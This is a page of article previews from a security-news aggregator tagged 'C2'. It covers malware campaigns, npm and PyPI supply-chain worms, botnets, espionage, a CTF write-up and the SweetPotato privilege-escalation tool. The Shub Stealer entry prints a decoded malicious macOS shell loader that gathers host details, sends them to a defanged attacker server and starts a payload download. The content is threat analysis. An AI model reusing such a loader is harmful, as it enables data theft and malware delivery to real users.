# C2 A cybersecurity tactic in which an adversary communicates with compromised systems to control them. This is one page of public article previews, not the complete archive. Follow Next page to continue. Summaries are not the original full articles. ## Counterfeit installers to system compromise: Tracking a deceptive software download campaign DevFeed: [Counterfeit installers to system compromise: Tracking a deceptive software download campaign]() Original publisher: [Read original article]() Author: Microsoft Security Research, Microsoft Defender Experts and Parth Jomadkar Published: 2026-09-01T22:48:28Z Content type: article Language: en Sources: [Microsoft Security Blog]() Topics: [Malware](), [Endpoint Security & XDR](), [C2](), [Microsoft]() Tags: [china](), [defender](), [malware](), [microsoft](), [persistence](), [security](), [techniques](), [telemetry]() ### AI overview Microsoft documents an active malware campaign that uses counterfeit software-download pages and malicious installers to compromise systems. It outlines the attack chain, Defender XDR detection and disruption, and mitigations for blocking untrusted downloads and strengthening endpoint protections. ### Source excerpt An active campaign is impersonating legitimate software vendors to deliver malware through look-alike download pages and regenerated installer archives. Microsoft Defender Experts shares observed attack techniques, Defender XDR detections, indicators of compromise, and practical mitigations to help organizations identify, block, and respond to this threat. The post Counterfeit installers to system compromise: Tracking a deceptive software download campaign appeared first on Microsoft Security Blog. ## N4D Mesh Controller: New infrastructure, a UPX-packed agent labeled "go-titan," and how to hunt for it DevFeed: [N4D Mesh Controller: New infrastructure, a UPX-packed agent labeled "go-titan," and how to hunt for it]() Original publisher: [Read original article]() Author: Zander Mackie Published: 2026-08-20T00:00:00Z Content type: article Language: en Sources: [Datadog Security Labs]() Topics: [Malware](), [Model Context Protocol](), [MCP Server](), [Credential theft](), [Persistence](), [C2](), [Linux](), [AI Infrastructure](), [Go Language]() Tags: [ai-infrastructure](), [c2](), [credential-theft](), [go](), [linux](), [malware](), [mcp](), [mcp-server](), [persistence]() ### AI overview Datadog Security Research analyzes an active N4D Mesh Controller malware campaign targeting exposed MCP servers and other internet-facing services. The article documents a newer UPX-packed go-titan loader-to-agent chain, rotated infrastructure, Linux persistence mechanisms, automated MCP tool discovery and command execution, and broad scanning across databases, container platforms, application servers, and AI infrastructure. ### Source excerpt Datadog Security Research executed a newer N4D Mesh Controller sample in isolated microVMs, uncovering rotated infrastructure, a UPX-packed go-titan agent, MCP tool abuse in action, and direct runtime evidence of multi-service scanning and persistence. ## Kimwolf v7: An Evolution of the Kimwolf Botnet DevFeed: [Kimwolf v7: An Evolution of the Kimwolf Botnet]() Original publisher: [Read original article]() Author: Asher Davila, Chris Navarrete and Doel Santos Published: 2026-08-11T10:00:16Z Content type: article Language: en Sources: [Unit 42]() Topics: [Kimwolf v7](), [Android](), [DDoS](), [Internet of things](), [C2](), [Ethereum Name Service (ENS)](), [Malware](), [Cybercrime](), [Ethereum](), [Blockchain](), [Routing (disambiguation)](), [Threat Hunting & Intel]() Tags: [android](), [android-apk](), [blockchain](), [c2](), [ddos](), [devices](), [ethereum](), [http](), [iot-botnets](), [kimwolf-v7](), [linux](), [malware](), [network](), [networks](), [resilience](), [routing](), [rpc](), [spoofing](), [threat-research]() ### AI overview Kimwolf v7 is an Android and IoT botnet variant that adds HTTP/2-based DDoS flooding with browser fingerprinting, Ethereum Name Service resolution for C2 addresses, and Tor-backed routing to improve infrastructure resilience. The article also describes its targeting of Android TV devices and exploitation of unauthenticated ADB instances. ### Source excerpt Discover how Kimwolf v7 targets Android IoT devices with HTTP/2 DDoS fingerprinting, Ethereum ENS C2 resolution and Tor backup routing. The post Kimwolf v7: An Evolution of the Kimwolf Botnet appeared first on Unit 42. ## ChainDrop: Inside a Self-Propagating npm Worm DevFeed: [ChainDrop: Inside a Self-Propagating npm Worm]() Original publisher: [Read original article]() Author: Unit 42 Published: 2026-08-06T22:26:39Z Content type: article Language: en Sources: [Unit 42]() Topics: [ChainDrop](), [npm](), [Malware](), [C2](), [Ethereum](), [GitHub Actions](), [GitHub](), [CI/CD](), [Security]() Tags: [blockchain](), [c2](), [chaindrop](), [ci](), [claude-code](), [developer-tooling](), [ethereum](), [github](), [github-actions](), [high-profile-threats](), [infrastructure](), [malware](), [security](), [ssh](), [supply-chain](), [tokens]() ### AI overview This article analyzes ChainDrop, a self-propagating npm worm that infected more than 400 packages and threatened developer workstations, CI pipelines, cloud environments and downstream users. It describes credential and token theft, GitHub Actions runner memory extraction, package republishing, persistence through developer and AI coding tools, blockchain-based C2 resolution, and C2 reconfiguration through an Ethereum transaction. ### Source excerpt Analysis of ChainDrop, an npm supply chain worm extracting GitHub Actions runner secrets and using Ethereum smart contracts for C2 routing. The post ChainDrop: Inside a Self-Propagating npm Worm appeared first on Unit 42. ## The keyv and cacheable npm Supply Chain Attack: Inside the Mini Shai-Hulud Campaign DevFeed: [The keyv and cacheable npm Supply Chain Attack: Inside the Mini Shai-Hulud Campaign]() Original publisher: [Read original article]() Published: 2026-08-04T00:00:00Z Content type: article Language: en Sources: [Chainguard: Unchained]() Topics: [npm](), [Malware](), [chainguard](), [GitHub](), [C2](), [Ethereum]() Tags: [aws](), [chainguard](), [ethereum](), [github](), [malware](), [mini-shai-hulud](), [npm](), [payload](), [shai-hulud](), [smart-contract](), [supply-chain]() ### AI overview The article examines a 2026 npm supply-chain attack in which a compromised maintainer account was used to publish malicious versions of keyv and cacheable-related packages. It reports credential theft, worm-like propagation to hundreds of downstream packages, and command-and-control infrastructure discovered through an Ethereum smart contract. It also explains that Chainguard customers were protected by malware scanning and package cooldowns. ### Source excerpt The latest npm supply chain attack hit keyv and cacheable. See how Chainguard's malware scanning and cooldowns kept customers protected. ## Compromised AsyncAPI npm packages: inside a CI supply-chain attack DevFeed: [Compromised AsyncAPI npm packages: inside a CI supply-chain attack]() Original publisher: [Read original article]() Author: Christophe Tafani-Dereeper, Sebastian Obregoso, Eslam Salem Published: 2026-07-14T00:00:00Z Content type: article Language: en Sources: [Datadog Security Labs]() Topics: [npm](), [Malware](), [ci](), [GitHub](), [C2](), [JavaScript](), [Cryptography](), [IPFS](), [P2P](), [cloud-infrastructure](), [Nostr]() Tags: [c2](), [ci](), [cryptography](), [github](), [go](), [infrastructure](), [javascript](), [malware](), [network](), [npm-packages](), [supply-chain]() ### AI overview This security article examines a CI supply-chain attack in which four compromised @asyncapi npm packages distributed credential-stealing malware. It traces the injected GitHub code, its IPFS-hosted second stage, encrypted configuration, credential harvesting, persistence mechanisms, and resilient command-and-control channels. ### Source excerpt On July 14, 2026, four npm packages in the @asyncapi namespace, totaling over 3 million weekly downloads, were compromised to deliver credential-stealing malware. We investigate how the attack unfolded and how to know if you're affected. ## One Target, Two Flags | Rival Espionage Actors Converge On Pakistani Law Enforcement DevFeed: [One Target, Two Flags | Rival Espionage Actors Converge On Pakistani Law Enforcement]() Original publisher: [Read original article]() Author: Aleksandar Milenkoski & Julian-Ferdinand Vögele Published: 2026-07-09T12:55:00Z Content type: article Language: en Sources: [SentinelLabs - We are hunters, reversers, exploit developers, and tinkerers shedding light on the world of malware, exploits, APTs, and cybercrime across all platforms.]() Topics: [Security](), [C2](), [web applications](), [data](), [Server](), [Network]() Tags: [analysis](), [attacks](), [c2](), [china](), [data](), [identity](), [india](), [pakistan](), [security](), [servers](), [web-applications]() ### AI overview An analysis of cyberespionage intrusions targeting Pakistani law enforcement organizations from 2024 to 2026. Suspected China- and India-nexus actors converged on Balochistan Police, compromising servers, network appliances, and web applications containing police and citizen data, including biometric, criminal, identity-linked, and personnel records. ### Source excerpt China and India ran separate espionage operations against the same Pakistani police force, each drawn by different stakes in Pakistan's internal security. ## SpectrePaste: An AI-Assisted, Fileless PowerShell Malware Delivery System DevFeed: [SpectrePaste: An AI-Assisted, Fileless PowerShell Malware Delivery System]() Original publisher: [Read original article]() Author: Joshua Platt Published: 2026-07-06T18:54:30Z Content type: article Language: en Sources: [Walmart Global Tech]() Topics: [Artificial Intelligence](), [Malware](), [Threat Research](), [PowerShell](), [C2](), [Caching](), [Encryption](), [Resilience](), [Routing (disambiguation)](), [Polymorphism](), [Back end](), [Spec Driven Development]() Tags: [ai](), [artificial-intelligence](), [backend](), [c2](), [cache](), [cybersecurity](), [detection-engineering](), [encryption](), [malware](), [malware-analysis](), [polymorphism](), [powershell](), [resilience](), [routing](), [spec-driven-development](), [threat-intelligence]() ### AI overview The article describes SpectrePaste, a previously undocumented fileless malware delivery system that threat actors used with AI as its primary orchestrator and developer. Its early architecture included automated AMSI-bypass generation, XOR-encrypted payloads, resilient command-and-control traffic handling, caching, request queuing, and administrative priority routing. ### Source excerpt by Joshua Platt and Jason Reaves [TLP:CLEAR] Earlier this year, Google Threat Intelligence[1] reported threat actors are increasingly deploying novel, AI-enabled malware in active operations[2]. While investigating a recent OSINT article[3] on malware campaign activity reported as "DeepLoad", our threat intelligence team identified a separate, previously undocumented fileless delivery system we track as "SpectrePaste". The prior public reporting correctly suspected AI involvement in the "DeepLoad" delivery chain, but our analysis reveals a more conclusive and concerning reality. AI did not just play a supporting role. It acted as the primary orchestrator and developer behind the entire SpectrePaste system. Threat actors internally referred to the early system as "PasteFast Panel." In this initial iteration, the system was highly modular, structured, and designed specifically for resilience against high-volume bot traffic. One of the hallmarks of automated, AI-assisted development. The early architecture functioned as a centralized PowerShell payload delivery system with several notable features: Automated Evasion Generation: The paste builder module automatically prepended Anti-Malware Scan Interface (AMSI) bypass scripts to payloads upon creation, followed by XOR encryption using a custom obfuscator template. This ensured every payload served was dynamically packed. C2 Resilience & High-Load Handling: The most sophisticated feature of the early version was its custom cache manager queue system. The threat actors anticipated massive, simultaneous beaconing from compromised hosts. To prevent database exhaustion, the panel featured an automated threshold toggle. During traffic spikes, the system queued requests, cached the encrypted payloads in memory, and deduplicated IP addresses to ensure a single infected bot could not inadvertently DDoS the command server. Admin Priority Routing: Developer requirements explicitly prioritized operator access. Administrative routes ## ESET takes part in Operation Endgame to disrupt Amadey and Stealc DevFeed: [ESET takes part in Operation Endgame to disrupt Amadey and Stealc]() Original publisher: [Read original article]() Author: Jakub Tomanek Tomáš Procházka Published: 2026-06-24T12:35:24Z Content type: article Language: en Sources: [WeLiveSecurity]() Topics: [ESET research](), [Malware](), [Threat Research](), [Cybercrime](), [C2](), [High Profile Threats](), [Encryption](), [data](), [Statistics]() Tags: [analysis](), [data](), [encryption](), [eset-research](), [maas](), [malware](), [network](), [research]() ### AI overview ESET Research describes its contribution to Operation Endgame, a coordinated global effort that disrupted the Amadey botnet and Stealc infostealer. The article covers infrastructure tracking, technical and statistical analysis, malware configuration data, command-and-control servers, encryption keys, campaign identifiers, and affiliate-level activity within the malware-as-a-service ecosystem. ### Source excerpt ESET researchers assisted in the global disruption of the Amadey botnet and Stealc infostealer, providing technical analysis, infrastructure tracking, and affiliate-level insights ## @mastra npm scope takeover: 143 packages backdoored via compromised contributor account DevFeed: [@mastra npm scope takeover: 143 packages backdoored via compromised contributor account]() Original publisher: [Read original article]() Published: 2026-06-17T00:00:00Z Content type: article Language: en Sources: [Chainguard: Unchained]() Topics: [npm](), [Malware](), [Remote Access Trojan](), [Cryptocurrency](), [C2]() Tags: [c2](), [chainguard-libraries](), [chainguard-packages](), [command-and-control](), [crypto](), [malware](), [mastra](), [npm](), [npm-takeover](), [packages](), [provenance](), [remote-access](), [remote-access-trojan](), [secure-packages](), [software-packages](), [supply-chain](), [tls]() ### AI overview The article reports that an attacker used a compromised former contributor account to republish all 143 packages in the @mastra npm scope on June 17, 2026. The malicious versions could disable TLS verification, download a cryptocurrency wallet stealer and remote access trojan, and establish command-and-control access. It recommends auditing dependency trees and lockfiles and rotating credentials on affected hosts. ### Source excerpt A supply chain attack compromised all 143 @mastra packages. Chainguard customers stayed protected through malware blocking and source-built libraries. ## Mini Shai-Hulud Hits AntV: 300+ Malicious npm Packages Published via Compromised Maintainer Account DevFeed: [Mini Shai-Hulud Hits AntV: 300+ Malicious npm Packages Published via Compromised Maintainer Account]() Original publisher: [Read original article]() Author: Liran Tal Published: 2026-05-18T23:00:00Z Content type: article Language: en Sources: [Blog RSS Feed | Snyk]() Topics: [Data visualization](), [npm packages](), [Malware](), [npm](), [C2](), [Bun](), [JavaScript](), [GitHub]() Tags: [awareness](), [blog](), [c2](), [data-visualization](), [developer](), [devops](), [devrel](), [javascript](), [malware](), [npm-packages](), [payload](), [secrets](), [security](), [snyk-open-source](), [snyk-platform](), [supply-chain](), [supply-chain-security](), [teampcp](), [tokens]() ### AI overview This article analyzes the Mini Shai-Hulud supply-chain attack targeting the AntV data visualization ecosystem through a compromised npm maintainer account. It describes the mass publication of malicious package versions, the embedded Bun payload, credential and secret theft, C2 persistence, and self-propagation using stolen npm tokens. ### Source excerpt A compromised npm maintainer account triggered an automated burst of over 300 malicious package versions across 323 packages in the AntV data visualization ecosystem, part of the ongoing Mini Shai-Hulud supply chain worm campaign. Here's what the malware does, how to detect exposure, and how to respond. ## Shub Stealers Fake Crypto Apps DevFeed: [Shub Stealers Fake Crypto Apps]() Original publisher: [Read original article]() Author: Jason Reaves Published: 2026-04-06T17:34:44Z Content type: article Language: en Sources: [Walmart Global Tech]() Topics: [Security](), [C2](), [Bash](), [Zsh](), [payload](), [telemetry](), [API](), [JSON]() Tags: [c2](), [code](), [infosec](), [json](), [macos](), [malware](), [payload](), [reverse-engineering](), [security](), [shell](), [shell-script](), [telemetry](), [zsh]() ### AI overview Jason Reaves examines Shub Stealer's fake cryptocurrency applications. The article describes shell-script checks that collect system and locale information, send telemetry, and block execution in certain environments, then explains how counterfeit Exodus, Atomic, Ledger, LedgerLive, and Trezor apps capture wallet credentials or recovery phrases and send the data to command-and-control infrastructure. ### Source excerpt By: Jason Reaves Shub Stealer[1] which looks very similar to MacSync also leveraged the same obfuscator on their shellscript[2] that is very popular lately. Shell script: fd674425d3fc0d95bbc90dcd598eabdb2ddd77037954c8a1d1175f118d1e8ddd After decoding however it is a bit different as it includes a number of checks: #!/bin/zsh # Debug loader -- detect CIS and block with telemetry IS_CIS="false" if defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -qi russian; then IS_CIS="true" fi # Detect locale info -- sanitize for JSON LOCALE_INFO=$(defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -i "KeyboardLayout Name" | head -5 | tr '\n' ',' | tr -d '"' | tr -d "'" || echo "unknown") HOSTNAME=$(hostname 2>/dev/null | tr -d '"' || echo "unknown") OS_VER=$(sw_vers -productVersion 2>/dev/null || echo "unknown") EXT_IP=$(curl -s --max-time 5 https://api.ipify.org 2>/dev/null || curl -s --max-time 5 hxxps://icanhazip.com 2>/dev/null || curl -s --max-time hxxps://ifconfig[.]me 2>/dev/null || echo "unknown") EXT_IP=$(echo "$EXT_IP" | tr -d ' ') # Build JSON safely using printf send_debug_event() { local EVT="$1" local JSON=$(printf '{"event":"%s","build_hash":"%s","ip":"%s","is_cis":"%s","locale":"%s","hostname":"%s","os_version":"%s"}' "$EVT" "" "$EXT_IP" "$IS_CIS" "$LOCALE_INFO" "$HOSTNAME" "$OS_VER") curl -s -X POST "hxxps://coco2-hram[.]com/api/debug/event" -H "Content-Type: application/json" -d "$JSON" --max-time 5 >/dev/null 2>&1 } # If CIS -- send cis_blocked event and exit if [ "$IS_CIS" = "true" ]; then send_debug_event "cis_blocked" >/dev/null 2>&1 exit 0 fi # Not CIS -- send loader_requested event send_debug_event "loader_requested" >/dev/null 2>&1 & daemon_function() { exec /dev/null exec 2>/dev/null curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Sa ## How to protect your organization from the telnyx PyPI compromise DevFeed: [How to protect your organization from the telnyx PyPI compromise]() Original publisher: [Read original article]() Published: 2026-03-27T00:00:00Z Content type: article Language: en Sources: [Chainguard: Unchained]() Topics: [Malware](), [open-source-security](), [SDKs](), [C2](), [Python](), [API keys](), [Encryption](), [Open Source](), [chainguard](), [ssh](), [GitHub Actions]() Tags: [api-keys](), [c2](), [chainguard](), [chainguard-libraries](), [encryption](), [github-actions](), [malware](), [open-source-security](), [pypi](), [pypi-attack](), [pypi-compromise](), [rsa](), [security](), [ssh](), [supply-chain](), [teampcp](), [telnyx](), [telnyx-attack](), [telnyx-compromise](), [trivy]() ### AI overview The article explains that malicious versions 4.87.1 and 4.87.2 of the Telnyx Python SDK were published to PyPI after publishing credentials were compromised. The malware executes at module scope, downloads from a remote C2 server, and uses a WAV file to conceal a Windows persistence binary or credential harvester for Linux and macOS. It recommends immediate removal, version pinning, credential rotation, and persistence checks. The article also attributes the attack to TeamPCP and connects it to a broader coordinated supply chain campaign. ### Source excerpt Malicious telnyx versions hit PyPI in a wider supply chain attack. Chainguard customers stayed protected by using source-built, verified libraries. ## Blog: Automate Kubernetes Network Security with Falco Talon DevFeed: [Blog: Automate Kubernetes Network Security with Falco Talon]() Original publisher: [Read original article]() Published: 2024-02-09T00:00:00Z Content type: article Language: en Sources: [Falco - Falco](), [Falco - The Falco blog]() Topics: [Kubernetes](), [Falco](), [network security](), [threat detection](), [C2]() Tags: [c2](), [falco](), [kubernetes](), [network-security](), [security](), [security-concept](), [threat-detection]() ### AI overview This article explains how Falco Talon can automate Kubernetes network security by responding to detected threats and updating network policies. It describes the limitations of IP-based policies and proposes using labels to isolate suspicious network traffic at runtime. ### Source excerpt Falco Talon Repository: https://github.com/Falco-Talon/falco-talon Falco Talon Documentation: https://falco-talon.github.io/ Falco Talon is currently under active development and remains in the alpha stage; therefore, breaking changes may occur at any time, and the documentation may not always be up to date. Setting up robust network security in Kubernetes is a challenge that demands both precision and adaptability. NetworkPolicy offers the potential for highly specific network configurations, enabling or blocking traffic based on a comprehensive set of criteria. However, the dynamic nature of network topologies and the complexities of managing policy implementations present ongoing challenges. The need for constant policy updates, especially in response to changing threat landscapes, introduces risks such as the potential for misconfiguration and the unintended dropping of packets. The Challenge of IP-Based Network Policies Building network policies around IP addresses is notoriously challenging. For instance, threat feeds, which list known malicious IP addresses, are constantly changing. An IP address associated with a malicious entity one week might be reassigned and deemed safe the next. This fluidity necessitates an agile approach to network policy management, integrating solutions like NetworkSets to dynamically update policies based on the latest intelligence. However, the sheer volume of threat intelligence feeds - from Tor IP lists to cryptomining blocklists - complicates this integration, making it a daunting task to maintain accurate network controls. Here, Falco Talon emerges as a transformative solution. By leveraging Falco's detection capabilities, such as identifying Outbound Connections to C2 Servers, Falco Talon can instantly update Kubernetes network policies to block all egress traffic except allowed CIDR ranges. This is facilitated through the kubernetes:networkpolicy Talon action, demonstrating a seamless integration of dynamic threat detection ## Snyk Fetch the Flag CTF 2023 writeup: Silent Cartographer DevFeed: [Snyk Fetch the Flag CTF 2023 writeup: Silent Cartographer]() Original publisher: [Read original article]() Author: John Hammond Published: 2023-11-30T06:00:00Z Content type: article Language: en Sources: [Blog RSS Feed | Snyk]() Topics: [ctf](), [C2](), [JSON Web Tokens](), [web applications](), [Server]() Tags: [apis](), [awareness](), [blog](), [c2](), [code](), [ctf](), [developer](), [exploits](), [external](), [security](), [server](), [web](), [web-app]() ### AI overview This Snyk writeup explains the solution to the Silent Cartographer challenge from the 2023 Fetch the Flag CTF. The challenge involves exploiting Covenant, a C2 web application, by forging a JWT with a default secret key, obtaining administrative access, modifying the exploit to use an available port, and handling the resulting reverse shell through a tunneling service. ### Source excerpt If you were at Snyk's 2023 Fetch the Flag and are looking for the answer to the Silent Cartographer challenge, you've come to the right place. Let's walk through the solution together! ## Merging C# Assemblies using dnMerge DevFeed: [Merging C# Assemblies using dnMerge]() Original publisher: [Read original article]() Author: CCob Published: 2021-07-04T08:32:55Z Content type: tutorial Language: en Sources: [Ethical Chaos]() Topics: [C#](), [Linux](), [.NET](), [C2](), [Compression](), [Deployment]() Tags: [assembly](), [c-sharp](), [c2](), [cobalt-strike](), [compression](), [costura](), [deployment](), [dnmerge](), [linux](), [merge](), [net](), [tooling]() ### AI overview This developer article explains why Costura can introduce .NET Core assembly references when merging C# assemblies during Linux-based cross-compilation. It introduces dnMerge, an MSBuild plugin that merges and compresses reference assemblies while retaining Linux cross-compilation support, and describes its use of LZMA compression. ### Source excerpt Introduction When it comes to automating builds for any project that I undertake, my goto OS is usually Linux. Generally I find the deployment of build nodes easier to deploy and manage and usually cheaper than their Windows counterparts. The problem with this of course is Windows based software generally needs cross-compiling in someway or [...] The post Merging C# Assemblies using dnMerge appeared first on Ethical Chaos. ## SweetPotato - Local Service to SYSTEM DevFeed: [SweetPotato - Local Service to SYSTEM]() Original publisher: [Read original article]() Author: CCob Published: 2020-04-13T17:30:53Z Content type: article Language: en Sources: [Ethical Chaos]() Topics: [Exploit](), [Windows](), [.NET](), [Security](), [C2]() Tags: [c-sharp](), [c2](), [cobalt-strike](), [dcom](), [exploit](), [juicypotato](), [privesc](), [rottenpotato](), [sweetpotato](), [weaponize](), [windows](), [winrm]() ### AI overview This article introduces SweetPotato, a C# rewrite of JuicyPotato that performs local service-account to SYSTEM privilege escalation on Windows. It adds a BITS/WinRM-based technique and can automatically select between exploit methods depending on the Windows version. ### Source excerpt Upgraded JuicyPotato performing Local Service to SYSTEM privilege escalation on Windows 7 to the latest Windows 10 / Server 2019. The post SweetPotato - Local Service to SYSTEM appeared first on Ethical Chaos.